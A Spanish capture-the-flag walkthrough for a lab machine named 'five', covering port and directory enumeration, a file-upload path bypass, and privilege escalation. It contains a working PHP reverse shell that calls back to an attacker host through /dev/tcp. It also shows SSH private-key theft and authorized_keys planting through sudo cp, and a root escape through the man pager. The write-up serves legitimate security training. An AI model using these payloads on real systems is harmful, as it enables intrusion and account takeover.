Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.32
❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 00:06 -04
Nmap scan report for 192.168.1.32
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.14.2
|_http-title: 403 Forbidden
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 secondsEnumeramos directorios con gobuster, donde aparecen upload.html, admin y un uploads sin acceso:
❯ gobuster dir -u 'http://192.168.1.32' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/uploads (Status: 403) [Size: 169]
/admin (Status: 200) [Size: 3866]
/upload.html (Status: 200) [Size: 346]
/upload.php (Status: 200) [Size: 48]
/robots.txt (Status: 200) [Size: 17]
...Subida de archivos (path bypass)
En upload.html nos encontramos con un formulario para subir archivos. Subimos una reverse shell en PHP y la interceptamos con Burp Suite: por defecto los archivos se guardan en uploads, al que no tenemos acceso, así que eliminamos la línea de la petición que define el path para que el archivo quede en la raíz web:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>Accedemos a http://192.168.1.32/pwned.php y recibimos la shell como www-data, estabilizándola con pty:
❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.32:39786.
bash: cannot set terminal process group (382): Inappropriate ioctl for device
bash: no job control in this shell
www-data@five:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'Escalada a melisa (sudo cp + SSH local)
Revisamos sudo -l:
www-data@five:/home$ sudo -l
Matching Defaults entries for www-data on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five:
(melisa) NOPASSWD: /bin/cpPodemos ejecutar cp como melisa. Antes de aprovecharlo, revisamos los puertos abiertos internamente con ss para ver por dónde conectarnos como ella:
www-data@five:/tmp$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:4444 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 [::]:80 [::]:*Hay un SSH escuchando localmente en el puerto 4444. Para conectarnos como melisa, primero recuperamos su id_rsa usando cp con sus privilegios:
www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ chmod 777 id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
www-data@five:/tmp$ chmod 600 id_rsaA partir de la clave privada generamos su clave pública y la plantamos como authorized_keys en el .ssh de melisa, de nuevo abusando de cp:
www-data@five:/tmp$ ssh-keygen -y -f id_rsa > authorized_keys
www-data@five:/tmp$ sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys
www-data@five:/tmp$ ssh melisa@localhost -p 4444 -i id_rsa
melisa@five:~$Obtenemos shell como melisa y la primera flag.
Escalada a root (sudo man pager escape)
Revisamos sudo -l con el nuevo usuario:
melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm,
/bin/clearPodemos ejecutar varios comandos como cualquier usuario y sin contraseña. Usaremos man, indicándole con -P un pager (less) desde el que escapamos a una shell con !/bin/bash:
melisa@five:~$ sudo man -P /usr/bin/less man
!/bin/bash
root@five:/home/melisa#Obtenemos la segunda flag.
Fin.